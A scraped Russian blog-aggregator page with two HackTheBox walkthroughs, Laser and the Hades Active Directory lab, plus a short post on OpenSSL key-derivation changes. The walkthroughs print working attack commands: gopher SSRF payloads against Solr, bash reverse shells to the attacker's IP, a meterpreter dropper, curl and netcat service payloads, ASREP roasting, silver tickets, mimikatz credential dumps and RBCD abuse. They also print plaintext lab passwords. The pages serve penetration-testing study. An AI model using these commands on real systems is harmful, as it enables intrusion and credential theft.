Русский
Русский
English
Статистика
Реклама

Ctf

HackTheBox. Прохождение Laser. Jetdirect, RPC и кража SSH

19.12.2020 20:12:49 | Автор: admin


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье мы работаем с принтером и получаем документ, который даст нам вектор захвата хоста, найдем в памяти ключ шифрования и расшифруем найденный документ. Далее работаем с gRPC и даже получаем RCE. Как вектор LPE, пробуем найти уязвимость в скиптах, использующих SSH.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.201, который я добавляю в /etc/hosts.

10.10.10.201 laser.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



После сканирования мы по сути ничего не имеем. Давайте попробуем нагуглить какие либо упоминания о проблемах безопасности, связанных с данными портами (кроме SSH).



И мы находим даже инструмент, который позволяет нам работать с принтером.

Entry Point


Давайте посмотрим, что мы можем в итоге получить.



Осмотревшись, мы находим только один файл.



Давайте получим его и откроем.



Проблема в том, что она зашифрован, поэтому мы не можем его просмотреть.



Но мы можем достать ключ шифрования.



Так как файл зашифрован с помощью AES CBC, мы можем его расшифровать.
import base64
from Crypto.Cipher import AESmess = open("./PRET/queued", "r").read()[2:].replace("'", "")mess_decrypt = base64.b64decode(mess)IV, CT = mess_decrypt[8:24], mess_decrypt[24:]chip = AES.new('13vu94r6643rv19u', AES.MODE_CBC, IV)OT = chip.decrypt(CT)with open("decr.pdf", "wb") as f:    f.write(OT)



По сигнатуре видим, что это PDF документ. А уже в самом документе находим кое-что интересное.



Таким образом, 9000 порт отвечает за RPC приложение с реализованным методом Feed. Оно принимает входные сериализованные данные Content и возвращает Data с помощью службы Print. gRPC это высокопроизводительный фреймворк для удаленного вызова процедур, разработанный компанией Google.

Сперва нам нужно описать формат обмена данными. Для этого используем protocol buffers.Указываем версию protobuf, описываем типы данных для клиент-серверного взаимодействия. Будем отсылать текстовые данные (типа string) Content и получать данные Data с помощью Print. Создадим файл ralf.proto (можно свое название).
syntax = "proto3";

message Content {
string data = 1;
}

message Data {
float feed = 1;
}

service Print {
rpc Feed(Content) returns (Data) {}
}

Далее установим две библиотеки: grpcio и grpcio-tools. Первая это сама библиотека для grpc, а вторая набор примочек для автоматизации разработки.
sudo pip3 install grpciosudo pip3 install grpcio-tools

Теперь сгенерируем два файла.
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ralf.proto



Файл _pb2.py содержит описание протокола взаимодействия. Файл _pb2_grpc.py хранит классы, которые нужно использовать в сервере и клиенте.
После необходимых импортов, нужно открыть канал. Затем подключаем клиент нашего RPC API к этому каналу и вызываем функции, как будто удаленно никуда не обращаемся! Мы знаем, что порт 22 открыт. Давайте проверим реакцию, на запрос feed с этого порта и потенциально закрытого.
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcp = '{"feed_url":"http://localhost:22"}'p2 = base64.b64encode(pickle.dumps(p))channel = grpc.insecure_channel('10.10.10.201:9000')stub = ralf_pb2_grpc.PrintStub(channel)content = ralf_pb2.Content(data=p2)try:    response = stub.Feed(content, timeout=30)    print(response)except Exception as e:    print(e.details())



То есть мы можем узнать, какие порты открыты для localhost. Давайте переберем все пароли. Порты разделим на закрытые, открытые и порты, отвечающие feed (так как 22 порт ответил not allowed).
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcfor port in range(1, 65536):    p = '{"feed_url":"http://localhost:'+ str(port) +'"}'    p2 = base64.b64encode(pickle.dumps(p))    channel = grpc.insecure_channel('10.10.10.201:9000')    stub = ralf_pb2_grpc.PrintStub(channel)    content = ralf_pb2.Content(data=p2)    try:        response = stub.Feed(content, timeout=30)        print("Port found: " + str(port))    except Exception as e:        if "Connection refused" in e.details():            print("Port: "+ str(port), end="\r")        else:            print("Port open: " + str(port) + " "*10)



И находим нужный, отвечающий нам порт.

USER


Узнаем что это.





И находим даже эксплоит. Таким образом, мы можем получить RCE, выполнив 2 запроса, как в инструкции. Первый запрос:
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcp = '{"feed_url":"gopher://localhost:8983/0POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20localhost%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D"}'p2 = base64.b64encode(pickle.dumps(p))channel = grpc.insecure_channel('10.10.10.201:9000')stub = ralf_pb2_grpc.PrintStub(channel)content = ralf_pb2.Content(data=p2)try:stub.Feed(content, timeout=30)except Exception as e:print(e.details())

И во втором запросе бэкконнект шелл: bash -i >& /dev/tcp/10.10.14.205/4321 0>&1.
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcp = '{"feed_url":"http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.205%2F4321%200%3E%261%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"}'p2 = base64.b64encode(pickle.dumps(p))channel = grpc.insecure_channel('10.10.10.201:9000')stub = ralf_pb2_grpc.PrintStub(channel)content = ralf_pb2.Content(data=p2)try:        response = stub.Feed(content, timeout=30)except Exception as e:        print(e.details())

И у нас есть шелл от имени пользователя.



ROOT


Для удобного доступа сгенерируем и запишем SSH ключ.





Для разведки на системе используем LinPEAS. И отмечаем наличие сетевого интерфейса docker, а также наличие большого количества SSH соединений с этого интерфейса.





Давайте проследим новые процессы с помощью pspy. И видим пароль для подключения, а также выполняемый скрипт.



Дело в том, что мы можем перенаправить соединение и выполнить скрипт с локального хоста от имени root. Давайте зайдем на docker и загрузим на хост socat. После чего остановим службу SSH и выполним перенаправление.



А теперь создадим на удаленном хосте (не в docker) скрипт /tmp/clear.sh, который будет копировать SSH ключ рута и делать его доступным для всех.
#!/bin/shcp /root/.ssh/id_rsa /tmp/; chmod 777 /tmp/id_rsa

Подождав немного обнаружим желанный ключ.



И подключимся как root.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

История одного сломанного тестового задания или осторожнее с версиями OpenSSL

26.12.2020 18:14:42 | Автор: admin
Disclaimer. Я не настоящий сварщик, но, в связи с поиском интересной работы в сфере информационной безопасности, в последнее время регулярно решаю разные CTF и машинки на HackTheBox. Поэтому, когда мне прислали ссылку на одно из тестовых заданий в стиле CTF, я не смог пройти мимо



Смысл тестового задания достаточно простой. Дан дамп трафика, в котором спрятан ключ шифрования, некий мусор и зашифрованный флаг. Нужно их извлечь и расшифровать флаг. Также приведена команда OpenSSL, с помощью которой был зашифрован данный флаг. Трафик достаточно интересный, но уже через 10 строк кода на питоне передо мной лежал ключ шифрования, мусор и зашифрованный флаг. Казалось бы, что может пойти не так?

В задании сказано, что флаг был зашифрован приблизительно такой командой (некоторые несущественные параметры я опустил и изменил алгоритм шифрования).

echo "FLAG_xxxxxxxxxx" | openssl enc -e -base64 -aes-256-cbc -nosalt -k $password 

Я вставил полученные из трафика параметры в команду, запустил и получил мусор! Попробовал еще раз. Снова мусор. Попробовал пересобрать трафик разными способами. Нет, судя по всему, трафик собрать можно только однозначно. Но на выходе шифрования снова мусор!!! При этом OpenSSL честно предупреждает, что получать так ключ из пароля в 1 проход плохая идея

echo "ENCRYPTED_FLAG" | openssl enc -d -base64 -aes-256-cbc -nosalt -k $key *** WARNING : deprecated key derivation used.Using -iter or -pbkdf2 would be better.

Следующие сутки ушли в попытках взломать это безумие. Я разумно рассудил, что видимо я неправильно вычленил указанный в условиях мусор и написал несколько вариантов деления полученной строки на пароль и зашифрованный флаг для последующего брутфорса. Не помогло Начал глубоко разбираться в каждом из параметров.

Как мы знаем, для работы AES нужен ключ шифрования и IV (вектор инициализации). Параметр -k дает нам возможность использовать текстовую фразу, из которой уже сам OpenSSL получает нужный ключ и IV. Увидеть их можно с помощью параметра -p.

echo "FLAG_123" | openssl enc -e -base64 -aes-256-cbc -nosalt -p -k "password"*** WARNING : deprecated key derivation used.Using -iter or -pbkdf2 would be better.key=5E884898DA28047151D0E56F8DC6292773603D0D6AABBDD62A11EF721D1542D8iv =3B02902846FFD32E92FF168B3F5D16B0C11kA+GcqkU4ocOvZAVr3g==


Это знание тоже ничего мне не дало. Тогда я всё же решил вернуться к самой безумной идее, которая возникала у меня. А именно: проблема не во мне, а что-то поменялось в OpenSSL
Трафик датировался 2016 годом, поэтому я взял Ubuntu 14.04 и, без особой надежды на успех, просто вставил в неё первоначальные данные. И внезапно вместо мусора получил ФЛАГ! Вечер переставал быть томным Более того, одна и та же команда с тем же паролем и параметром -p выдавала совершенно разные ключи шифрования и IV!

НОВАЯ СИСТЕМА (openssl 1.1.1h)
echo "FLAG_123" | openssl enc -e -base64 -aes-256-cbc -nosalt -p -k "password"*** WARNING : deprecated key derivation used.Using -iter or -pbkdf2 would be better.key=5E884898DA28047151D0E56F8DC6292773603D0D6AABBDD62A11EF721D1542D8iv =3B02902846FFD32E92FF168B3F5D16B0C11kA+GcqkU4ocOvZAVr3g==


СТАРАЯ СИСТЕМА (openssl 1.0.1f)
echo "FLAG_123" | openssl enc -e -base64 -aes-256-cbc -nosalt -p -k "password"key=5F4DCC3B5AA765D61D8327DEB882CF992B95990A9151374ABD8FF8C5A7A0FE08iv =B7B4372CDFBCB3D16A2631B59B509E94R3N+5v3zOz9QcNt08cwqcA==

Стало понятно, что опасения подтвердились. Изменился алгоритм генерации Key и IV из парольной фразы, что полностью сломало возможность в лоб решить CTF на современных версиях OpenSSL. В процессе поиска нюансов реализации я наткнулся на очень интересную работу Password-based OpenSSL Encryption Analysis of Key Derivation Protocol и всё стало на свои места. Вкратце, в версии 1.1.0 был добавлен новый протокол генерации ключей из пароля PBKDF2, но, что более важно в старом алгоритме PBKDF1 изменен алгоритм хеширования по умолчанию с MD5 на SHA-256! Таким образом, один и тот же пароль выдает разные Key и IV. Для того, чтобы расшифровать зашифрованное ранее, в новых версиях нужно использовать параметр -md md5

-md messagedigest: specify the message digest used for key derivation from md2, md5, sha, or sha1

После добавления этого параметра получить флаг стало возможно и на новом OpenSSL. Уж не знаю, действительно ли такой нюанс был учтен разработчиками тестового задания или они просто не проверяли его на современных системах, но факт остаётся фактом, пришлось глубоко погрузиться в некоторые тонкости OpenSSL.

P.S. Через знакомых я уже сообщил разработчикам тестового о найденной проблеме, а то вдруг они очень удивляются, что это люди к ним не идут
Подробнее..

HackTheBox endgame. Прохождение лаборатории Hades. Пентест Active Directory

29.12.2020 00:19:38 | Автор: admin


В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки HackTheBox.

Как сказано в описании, Hades предназначен для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 7 флагов.

Посмотреть разборы других лабораторий:
1.Professional Offensive Operations.
2.XEN.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Intro


Данный endgame состоит из 3 машин, и содержит 7 флагов.
1. Chasm flag RCE (command injection) + Initial Access;
2. Guardian flag Enumeration + ASREP Roasting;
3. Messenger flag Printer Bug + Silver Ticket + Service Control
4. Resurrection flag Creds Access and Dumping
5. Gateway flag BloodHound + Control account
6. Celestial flag ADIDNS + Responder
7. Dominion flag Lateral Movement



Так же дается описание и адрес доступного хоста.



Начнем!

Chasm flag


Данная машина имеет IP адрес 10.13.38.16, который я добавляю в /etc/hosts.
10.13.38.16 hades.htb

Первым делом сканируем открытые порты. Для этого я использую следующий скрипт, который проведет сканирование со скоростью 500 пакетов в секунду с помощью nmap, и определит отвечающие порты, после чего мы используем для этих портов встроенные скрипты nmap (опция -А).
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



И у нас открыт только 443 порт, отвечающий за соединение по протоколу HTTPS. Осмотревшись на сайте, отметим только домен gigantichosting.com и интересный сервис Certificate Checker.



Данный сервис просит указать IP адрес, причем происходит вывод (скорее всего) из командной строки. Давайте откроем у себя порт c использованием SSL и посмотрим входящий запрос. Для этого запустим ncat и обратимся к своему IP.



Давайте проверим, используется ли командная строка. Для этого в обращении к директории на нашем сервере вставим вложенную команду.
10.14.14.4:554/$(whoami)


И получаем имя пользователя, значит присутствует OS Command Injection! Давайте попробуем кинуть реверс шелл. Для этого будем использовать простой bash reverse-shell:
bash -i >& /dev/tcp/10.14.14.4/4321 0>&1

Но чтобы избежать неудобных символов, закодируем его в base64.



На стороне сервера нужно будет выполнить команду декодирования и передачи вывода в bash. При этом, вместо пробелов будем использовать конструкцию ${IFS}.
echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash

Давайте откроем порт для прослушивания и выполним запрос.
10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)



Таким образом, мы получаем бэкконнект. Но так как это лаборатория и шелл нестабильный, давайте напишем скрипт, запуская который мы будем легко создавать новый бэкконнект (это лишь для удобства). Все необходимые для этого данные возьмем из браузера.



Создадим python скрипт.
import requestsimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)payload = "10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)"params = {'name': payload}response = requests.post(url='https://10.13.38.16/ssltools/certificate.php', data=params, verify=False)

А теперь попробуем в качестве нагрузки использовать meterpreter. Давайте сначала сгенерируем пэйлоад.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.14.14.4 LPORT=4321 -f elf -o r.elf



Теперь используем конструкцию следующего вида. Мы кодируем наш файл в base64.



На стороне сервера, это нужно будет декодировать и записать в файл, после чего присвоить право на исполнение и выполнить. Все три действия еще раз кодируем в base64, таким образом нагрузка будет удовлетворять условиям нашего эксплоита.
echo "echo $(base64 -w0 r.elf) | base64 -d > /tmp/r ; chmod +x /tmp/r ; exec /tmp/r" | base64 -w0 ; echo



Вставляем данную строку, вместо base64 строки нашей нагрузки в python коде. Далее необходимо запустить листенер.
handler -p linux/x64/meterpreter/reverse_tcp -H 10.14.14.4 -P 4321



И давайте выполним наш эксплоит. Мы сразу увидим активное подключение в окне Metasploit быстро и удобно.



И сразу в текущей директории находим первый флаг.



Таким образом, мы получаем точку опоры на первом хосте.

Guardian flag


Первым делом, перечислим систему, на которую мы попали. Я использую LinPEAS.



Из вывода мы узнаем, что находимся в докер контейнере.



Так же находим еще один хост 192.168.99.1.



Посмотрим информацию о сетевых интерфейсах.



И в своей сети находим еще один хост.



Так как на хосте не было средств сканирования, скачаем скомпилированный с зависимостями nmap здесь и загрузим его на хост.



Далее просканируем два найденных хоста.





Обратившись к 443 порту на 192.168.99.1 получим уже знакомый сайт, откуда был сделан вывод, что именно на 192.168.99.1 развернут докер. Так как больше интересного на данном хосте найдено не было, я перешел к 172.17.0.1. Так как и там 443 порт ответил знакомым сайтом, то это тот же докер. И у нас успешно получается подключиться по ssh с дефолтными учетными данными (docker:tcuser). И сразу переходим к пользователю root.
shellpython3 -c 'import pty;pty.spawn("/bin/bash")'ssh docker@172.17.0.1



Тоже ничего не найдя, переходим к последнему варианту это мониторинг запускаемых процессов и трафика. Давайте скопируем на хост собранные pspy и tcpdump. Среди процессов ничего интересного, а вот в трафике, раз в 5 секунд обнаружим три неизвестных хоста в подсети 192.168.3.0/24.



Вернувшись к первому докеру просканируем подсеть, чтобы найти все хосты. Но находим всего один хост.
/tmp/nmap -sn 192.168.3.0/24



Предположительно работает брэндмауэр, поэтому снова сканируем всю сеть без пинга (-Pn) на наличие частых известных открытых портов.
/tmp/nmap -Pn 192.168.3.0/24 -p53,80,135,139,443,445



И находим три хоста (как и сказано в описании к лаборатории). Давайте просканируем порты на этих хостах.
/tmp/nmap -Pn 192.168.3.201-203



Так мы определили сервисы, а теперь сделаем туннель во внутреннюю сеть. Нам нужно маршрутизировать в сеть 192.168.3.0/24. Укажем это в модуле autoroute, а потом проверим, что маршрут успешно создан.
run autoroute -s 192.168.3.0/24run autoroute -p



Теперь давайте настроим перенаправитель socks4 прокси-сервер. За это отвечает модуль auxiliary/server/socks4a.



И чтобы мы могли использовать любое приложение с данным прокси, настроим proxychains. Для этого изменим файл конфигурации /etc/proxychains.conf.



Теперь мы можем перенаправить трафик любого приложения во внутреннюю сеть, указав proxychains -q. Так как везде доступно SMB, давайте посмотрим версии операционных систем и имена машин с помощью CrackMapExec.
proxychains -q cme smb 192.168.3.201-203



Давайте добавим данные записи в /etc/hosts.
192.168.3.201 dev.htb.local
192.168.3.202 web.htb.local
192.168.3.203 dc1.htb.local

Попробовав поподключаться к различным службам я ничего не получил. Но есть возможность пробрутить имена пользователей, с помощью атаки ASREP Roasting. Дело в том, что мы можем запросить запросить ключ (AS key) керберос данного пользователя, который будет зашифрован с помощью пароля этого пользователя. И если в UAC учетной записи установлен флаг DONT_REQ_PREAUTH (не требуется предварительная проверка подлинности Kerberos), то сервер вернет нам ключ. Но дело в том, что сервер различает ответ данный флаг не установлен и учетная запись не существует. Таким образом мы можем перечислить имена пользователей и там, где нам ответят, что флаг не установлен, мы делаем вывод о существовании такой учетной записи. Сделать это можно с помощью инструмента GetNPUser, входящего в пакет impacket. В качестве словаря используем, Username/names.txt из набора SecLists.
proxychains -q GetNPUsers.py htb.local/ -dc-ip dc1.htb.local -k -no-pass -usersfile ./names.txt | grep -v "Client not found in Kerberos database"



Как же я был удивлен, когда нам вернули ключ пользователя bob (не ожидал)! Плюс ко всему мы нашли еще двух пользователей kalle и lee. Так как ключ зашифрован на пароле пользователя, мы можем его пробрутить.
john --wordlist=./tools/rockyou.txt bob.hash



И мы получаем первую учетную запись! Теперь нужно снова проверить все службы с имеющимися у нас учетными записями. Начнем с общих ресурсов.
proxychains -q cme smb 192.168.3.201-203 -u bob -p "Passw0rd1!" --shares



И у нас есть доступ к некоторым директория на контроллере домена. Давайте рекурсивно отобразим содержимое всех директорий.
proxychains -q smbmap -d htb.local -u bob -p "Passw0rd1!" -H 192.168.3.203 -R



И видим ожидающий нас флаг, что означает еще один пройденный этап. Давайте заберем его.
proxychains -q smbclient.py 'htb.local/bob:Passw0rd1!@192.168.3.203'





Messenger flag


Так как у нас есть учетные данные пользователя, давайте получим информацию о домене.
enum4linux -u bob -p 'Passw0rd1!' -a 10.10.10.192 2>/dev/null









И мы получаем список пользователей, членство их в группах и парольную политику домена. Немного посмотрев дальнейшие векторы атаки, я наткнулся на Printer Bug.
proxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dc1.htb.local'| grep MS-RPRNproxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@web.htb.local'| grep MS-RPRNproxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dev.htb.local' | grep MS-RPRN



Если есть двустороннее доверие, атакующий может использовать ошибку принтера MS-RPRN в домене, чтобы скомпрометировать машину, для которой активно неограниченное делегирование. Ошибка приводит к тому, что атакующий получает информацию об аутентификации, а именно NTLMv1 хеш учетной записи машины.

NTLMv1 хеш позволит нам получить ключ NTLM хеш учетной записи, что даст нам возможность выполнить Pass-The-Hash. Для данной атаки импользуем dementor (или printerbug) и эту инструкцию. Активируем Responder, чтобы отлавливать NTLMv1 хеш.
sudo responder -I tun0 --lm

И выполняем атаку (приведу и dementor и printerbug):
proxychains -q python dementor.py -d htb.local -u bob -p 'Passw0rd1!' 10.14.14.4 192.168.3.201proxychains -q python printerbug.py 'htb.local/bob:Passw0rd1!@dev.htb.local' 10.14.14.4



И в окне респондера получаем желаемый хеш.



Нам нужно конвертировать его в NTLM хеш.
python ntlmv1.py --ntlmv1 DEV$::HTB:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:c2f1c6d70a6f5ff9



И вот тут возникли проблемы. Так как перебрать DES ключи заняло бы около 150 дней, а платить на ресурсе crack.sh не хотелось, но нашелся человек, который поделился уже полученным с crack.sh хешем: 4a0cfb13364ac41247295dd31e1b70be.

Давайте создадим Silver Ticket Kerberos для службы CIFS. Для этого нам нужны хеш учетной записи, SID домена, сам домен и имя любого (даже придуманного пользователя). После создания экспортируем билет.
proxychains -q ticketer.py -nthash 4a0cfb13364ac41247295dd31e1b70be -domain-sid S-1-5-21-4266912945-3985045794-2943778634 -domain htb.local -spn cifs/192.168.3.201 ralfexport KRB5CCNAME=ralf.ccache



И мы можем управлять службами с помощью services.py из пакета impacket. Давайте создадим такую службу, которая будет загружать netcat с нашего хоста и выполнять реверс подключение.
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task10 -display task10 -path 'curl http://10.14.14.7/nc64.exe -o C:\\Temp\\nc.exe'



Проверим конфигурации созданной службы.
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 config -name task10



И запустим ее.
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task10



Хоть нам и сообщают об ошибке, но в окне веб-сервера видим удачное подключение.



proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task11 -display task11 -path 'C:\\Temp\\nc.exe -e cmd.exe 10.14.14.7 6543'proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task11



И в листенере наблюдаем успешное подключение.



Таким образом мы захватываем первую из трех целевых машин.



Resurrection flag


Но так как это не конец, нужно закрепиться на машине, для чего необходимо получить хоть какие-то учетные данные. Так как мы работаем от имени локального администратора, нам достаточно и хешей, но средства вроде mimikatz и meterpreter блокируются антивирусом. Дабы по понятным причинам не показывать способы криптования нагрузок, я использую простую нагрузку Cobalt Strike без всяких модификаций. Для начала запустим сервер и подключимся к нему.





Теперь необходимо создать листенер.



И вот только сейчас для этого листенера мы собираем нагрузку powershell: Attacks -> Packages -> Payload Generator.



Теперь на целевом хосте перейдем в powershell, скачаем нагрузку и выполним ее.



В окне Cobalt Strike наблюдаем активный сеанс, причем молнии свидетельствуют, что у нас имеются права администратора.



Cobalt принимает все команды поточно, но по умолчанию связь с сервером происходит раз в минуту, поэтому команды попадают в очередь выполнения. Чтобы связь происходила мгновенно и команды выполнялись также потоком, введем команду sleep 0. А затем сдампим хеши.



Ну и в случае чего, мы можем подключиться к хосту через WinRM.
proxychains -q evil-winrm -i dev.htb.local -u Administrator -H 67bb396c79f56301b7dc5d219cc85d86



Ну а мы уже продолжим в Cobalt Strike. Для того, чтобы прочно закрепиться на хосте, давайте выполним инъекцию новой нагрузки в процесс, работающий от имени System. Я выбрал winlogon.exe.







Как можно наблюдать, мы также работаем в контексте System. Чтобы остальные машины домена появились в списке целей Cobalt, давайте выполним сканирование.





И в добавок ко всему, давайте просканируем порты на двух новых хостах, чтобы информация сохранилась в базе Cobalt Strike.







Хост 192.168.3.201 можно удалить из списка, так как мы уже его захватили, но он обозначился как 10.13.38.17. Проведя разведку на хосте, не за что больше уцепиться не вышло. Была идея посмотреть хранилище учетных данных, для того чтобы восстановить сохраненные учетные данные, но оба хранилища оказались пусты.
shell vaultcmd /listshell vaultcmd /listcreds:"Web Credentials"shell vaultcmd /listcreds:"Windows Credentials"



И в конце концов я дошел до пункта теневые копии в своем чеклисте. И тут как раз в точку.





Давайте восстановим учетные данные из файла SAM теневой копии, для этого используем встроенный mimikatz.
mimikatz lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SAM



И пароль администратора легко находим в онлайн базах.



Но и этот пароль для передвижения по сети нигде не подходит. И тогда возникла идея посмотреть те же сохраненные учетные данные в хранилище Windows. Так как мы знаем пароль админа, то его хранилище мы и будем смотреть. На эту тему я уже писал статью.



Зашифрованные данные расположены по следующему пути: \AppData\Roaming\Microsoft\Credentials\. И мы находим два сохраненных значения.



Но для расшифрования нам нужно узнать мастер ключи обоих хранилищ, найти их можно тут: \AppData\Roaming\Microsoft\Protect\\.



Вся дальнейшая работа по восстановлению данных будет производится с помощью mimikatz. Давайте получим мастер ключ (повезло, он был в первом хранилище).
mimikatz dpapi::masterkey /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4124311166-4116374192-336467615-500\87790867-a883-4a2d-a467-019c315e1104" /password:"./*40ra26AZ"



А теперь расшифруем учетный данные.
mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\1A2572C793495F694F64823A392D4718" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"



mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\4A2EEB30EFC7958491B6578D9948EC7F" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"



И мы получаем флаг, как факт того, что движемся в верном направлении и учетные данные доменного пользователя службы.

Gateway flag


Для удобства, добавим имеющиеся учетные данные в базу Cobalt Strike.



Теперь, давайте проведем разведку с помощью BloodHound, благо Cobalt позволяет запустить его из памяти.
execute-assembly /home/ralf/tmp/SharpHound.exe -d htb.local --domaincontroller 192.168.3.203 --ldapusername test-svc --ldappassword T3st-S3v!ce-F0r-Pr0d



Вся информация успешно собрана и записана в указанный архив. Давайте скачаем его.





Чтобы посмотреть граф, сначала запустим СУБД Neo4j, а потом bloodhound.



И мы получим следующий граф.



Набираем в поиске своего пользователя и смотрим, что мы имеем, в итоге обнаружим право GenericAll для хоста WEB.



И мы даже можем получить инструкцию по дальнейшей эксплуатации.



Нам понадобятся следующие инструменты: PowerView, Powermad и Rubeus.
Первым делом нужно добавить импортировать Powermad и с помощью powerpick добавить новую учетную запись компьютера.
New-MachineAccount -MachineAccount RalfPC -Password $(ConvertTo-SecureString 'RalfRalf!23' -AsPlainText -Force)



Теперь нам нужно узнать идентификатор безопасности новой учетной записи. Дальше нам нужен модуль Powerview.
Get-DomainComputer RalfPC



Далее создадим объект учетных данных известного нам пользователя test-svc, чтобы выполнять команды от его имени.
$TestSvcPass = ConvertTo-SecureString 'T3st-S3v!ce-F0r-Pr0d' -AsPlainText -Force$TestSvcCred = New-Object System.Management.Automation.PSCredential('htb.local\test-svc', $TestSvcPass)

Давайте получим список избирательного управления доступом DACL нашей созданной ученой записи.
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4266912945-3985045794-2943778634-14605)"$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)

А теперь установим полученный DACL в поле msDS-AllowedToActOnBehalfOfOtherIdentity атакуемой нами машины.
Get-DomainComputer WEB | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $TestSvcCred

В Cobalt выполним все эти команды за один раз.



Давайте проверим, что данное свойство установилось. Как можно наблюдать, SID соответствует SIDу созданной нами учетной записи.
